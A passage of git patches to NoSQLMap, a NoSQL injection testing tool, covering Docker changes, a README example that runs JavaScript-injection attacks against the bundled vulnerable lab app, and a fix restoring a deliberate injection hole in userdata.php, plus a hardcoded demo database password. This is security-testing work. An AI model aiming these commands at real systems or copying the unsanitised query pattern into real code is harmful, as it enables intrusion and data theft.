"ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.20.0"], + "requests==2.32.4"], author = "tcstool", author_email = "codingo@protonmail.com", From cc4fa55f08b83716294cfe4f8f963dcbcd0e37d9 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Thu, 19 Feb 2026 12:57:12 -0800 Subject: [PATCH 41/43] Fix overeager requests update incompatible with python 2.7 Python 2.7 was very sad with dependabot's change. Fixed! Also three docker improvements: - Make development easier with docker by using the files from the current directory instead of checking out a fresh copy. This clutters the top level directory a bit, but it feels like a good tradeoff. - Have the docker app listen on port 8080 by default, as fiddling with port 80 is a bit scary - Have the docker app accept commandline parameters And, finally, a README.md improvement: - Show an example script to tickle three vulnerabilities in vuln_apps --- docker/Dockerfile => Dockerfile | 7 ++- README.md | 45 ++++++++++++++++++- .../docker-compose.yml => docker-compose.yml | 0 docker/entrypoint.sh | 2 - entrypoint.sh | 2 + setup.py | 2 +- vuln_apps/docker-compose.yml | 2 +- 7 files changed, 50 insertions(+), 10 deletions(-) rename docker/Dockerfile => Dockerfile (71%) rename docker/docker-compose.yml => docker-compose.yml (100%) delete mode 100644 docker/entrypoint.sh create mode 100644 entrypoint.sh diff --git a/docker/Dockerfile b/Dockerfile similarity index 71% rename from docker/Dockerfile rename to Dockerfile index 6ff83f2..3c46d8d 100644 --- a/docker/Dockerfile +++ b/Dockerfile @@ -4,13 +4,12 @@ RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositori RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories RUN apk update && apk add mongodb git -RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap - -WORKDIR /root/NoSqlMap +WORKDIR /work +COPY . /work RUN python setup.py install -RUN python -m pip install requests 'certifi<=2020.4.5.1' +RUN python -m pip install 'requests<2.28' 'certifi<=2020.4.5.1' COPY entrypoint.sh /tmp/entrypoint.sh RUN chmod +x /tmp/entrypoint.sh diff --git a/README.md b/README.md index 50abb20..1aa3b47 100644 --- a/README.md +++ b/README.md @@ -46,7 +46,7 @@ There are some various other libraries required that a normal Python installatio python setup.py install ``` -Alternatively you can build a Docker image by changing to the docker directory and entering: +Alternatively you can build a Docker image by entering: ``` docker build -t nosqlmap . @@ -102,4 +102,45 @@ This repo also includes an intentionally vulnerable web application to test NoSQ docker-compose build && docker-compose up ``` -Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1/index.html +Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1:8080/index.html + +## Scripting + +The cli can also be scripted. Here's an example script using NoSQLMap to detect the vulnerabilities in vuln_apps: + +``` +$ echo "1. Account Lookup (acct.php)" +$ docker-compose run --remove-orphans nosqlmap \ + --attack 2 \ + --victim host.docker.internal \ + --webPort 8080 \ + --uri "/acct.php?acctid=test" \ + --httpMethod GET \ + --params 1 \ + --injectSize 4 \ + --injectFormat 2 \ + --doTimeAttack n + +$ echo "2. User Data Lookup (userdata.php) - JavaScript Injection" +$ docker-compose run --remove-orphans nosqlmap \ + --attack 2 \ + --victim host.docker.internal \ + --webPort 8080 \ + --uri "/userdata.php?usersearch=test" \ + --httpMethod GET \ + --params 1 \ + --injectSize 4 \ + --injectFormat 2 \ + --doTimeAttack n + +$ echo "3. Order Data Lookup (orderdata.php) - JavaScript Injection" +$ docker-compose run --remove-orphans nosqlmap \ + --attack 2 \ + --victim host.docker.internal \ + --webPort 8080 \ + --uri "/orderdata.php?ordersearch=test" \ + --httpMethod GET \ + --params 1 \ + --injectSize 4 \ + --injectFormat 2 \ + --doTimeAttack n diff --git a/docker/docker-compose.yml b/docker-compose.yml similarity index 100% rename from docker/docker-compose.yml rename to docker-compose.yml diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh deleted file mode 100644 index eb9b8b4..0000000 --- a/docker/entrypoint.sh +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/ash -python nosqlmap.py diff --git a/entrypoint.sh b/entrypoint.sh new file mode 100644 index 0000000..1831ba8 --- /dev/null +++ b/entrypoint.sh @@ -0,0 +1,2 @@ +#!/bin/ash +python nosqlmap.py "$@" diff --git a/setup.py b/setup.py index bbf747d..1372457 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.32.4"], + "requests<2.28"], author = "tcstool", author_email = "codingo@protonmail.com", diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml index 468c294..32f0553 100644 --- a/vuln_apps/docker-compose.yml +++ b/vuln_apps/docker-compose.yml @@ -6,7 +6,7 @@ services: links: - php ports: - - "80:80" + - "8080:80" volumes: - ./src:/usr/local/apache2/htdocs php: From f460d29f8923afd85ee3779dd71ec3600865c688 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Thu, 19 Feb 2026 14:58:34 -0800 Subject: [PATCH 42/43] vuln_apps: let user override ports if they like --- vuln_apps/docker-compose.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml index 32f0553..3572ad4 100644 --- a/vuln_apps/docker-compose.yml +++ b/vuln_apps/docker-compose.yml @@ -6,14 +6,14 @@ services: links: - php ports: - - "8080:80" + - "${NOSQLMAP_VULN_APPS_APACHE_PORT:-8080}:80" volumes: - ./src:/usr/local/apache2/htdocs php: container_name: php build: ./docker/php ports: - - "9000:9000" + - "${NOSQLMAP_VULN_APPS_PHP_PORT:-9000}:9000" volumes: - ./src:/usr/local/apache2/htdocs working_dir: /usr/local/apache2/htdocs @@ -24,4 +24,4 @@ services: MONGO_INITDB_ROOT_PASSWORD: prisma build: ./docker/mongo ports: - - "27017:27017" + - "${NOSQLMAP_VULN_APPS_MONGO_PORT:-27017}:27017" From 589a1ae97bc13a205332c32d2bea3f02c989a578 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Thu, 19 Feb 2026 15:14:53 -0800 Subject: [PATCH 43/43] userdata.php: fix typo that broke demo. (Found by Claude.) --- vuln_apps/src/userdata.php | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vuln_apps/src/userdata.php b/vuln_apps/src/userdata.php index bf74313..11d1216 100644 --- a/vuln_apps/src/userdata.php +++ b/vuln_apps/src/userdata.php @@ -11,7 +11,7 @@ $conn = new MongoClient('mongodb://127.0.0.1'); $db = $conn->appUserData; $collection = $db->users; - $search = $_GET['usersearch']; + $usersearch = $_GET['usersearch']; $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; print $js; print '
'; @@ -45,4 +45,4 @@ - \ No newline at end of file +